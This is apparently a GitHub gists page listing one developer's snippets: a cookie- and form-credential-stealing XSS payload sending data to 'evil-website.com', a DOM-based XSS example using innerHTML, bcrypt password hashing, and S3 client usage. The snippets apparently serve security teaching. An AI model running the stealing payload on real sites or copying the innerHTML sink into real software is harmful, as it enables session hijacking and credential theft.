Skip to content

Instantly share code, notes, and snippets.

View K-Mistele's full-sized avatar
🏴‍☠️

Kyle Mistele K-Mistele

🏴‍☠️
View GitHub Profile
// capture the cookies
const cookie = document.cookie;
// send the cookies to the attacker
fetch('https://evil-website.com/cookie-capture', {
data: cookie
});
// add an event listener to the form
const form_element = document.getElementsByTagName('form')[0];
form_element.addEventListener('submit', () => {
// capture the username and password from the form
const username = document.getElementById('username_input').value;
const password = document.getElementById('password_input').value;
// send the username and password to the attacker
fetch(`https://evil-website.com/password-capture/?u=${username}&p=${password}`);
@K-Mistele
K-Mistele / DOMBasedXSS.js
Created January 15, 2021 21:43
Dom-based XSS
const username = document.getElementById('username_input');
const username_box = document.getElementById('username_box');
user_name_box.innerHTML = username;
@K-Mistele
K-Mistele / example.py
Created December 22, 2020 23:08
Password hashing with bcrypt in python
import bcrypt
# this will create the hash that you need to store in your database
def create_bcrypt_hash(password):
# convert the string to bytes
password_bytes = password.encode()
# generate a salt
salt = bcrypt.gensalt(14)
# calculate a hash as bytes
password_hash_bytes = bcrypt.hashpw(password_bytes, salt)
@K-Mistele
K-Mistele / pseudocode.py
Created December 22, 2020 23:05
Python pseudo-code for password hashing
def login(username, password):
user = Users.get(username) # fetch the user record from the database
# if no user matches the username, don't log them in
if not user:
return False
# hash the supplied password
supplied_hash = some_hash_function(password)
@K-Mistele
K-Mistele / blob_example.py
Created December 22, 2020 22:29
Example of storing large blobs of data with the Bucket API
import s3_bucket as S3
import os
# get your key data from environment variables
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')
# initialize the package
S3.Bucket.prepare(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
@K-Mistele
K-Mistele / upload_example.py
Created December 22, 2020 22:28
An example of uploading and downloading files with the Bucket API
import s3_bucket as S3
import os
# get your key data from environment variables
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')
# initialize the package
S3.Bucket.prepare(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
@K-Mistele
K-Mistele / example.py
Created December 22, 2020 22:25
Using the Bucket API's Exceptions
try:
bucket = S3.Bucket('my-bucket-name')
data, metadata = bucket.get('some key')
except S3.Exceptions.NoSuchBucket as e:
# some error handling here
pass
@K-Mistele
K-Mistele / example.py
Created December 22, 2020 22:22
Using the Bucket API
bucket = S3.Bucket('your bucket name')
#example
bucket = S3.Bucket('my-website-data')
@K-Mistele
K-Mistele / example.py
Created December 22, 2020 22:21
An example of the AWS S3 Client I wrote for CodeLighthouse
import s3_bucket as S3
import os
# get your key data from environment variables
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')
# initialize the package
S3.Bucket.prepare(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)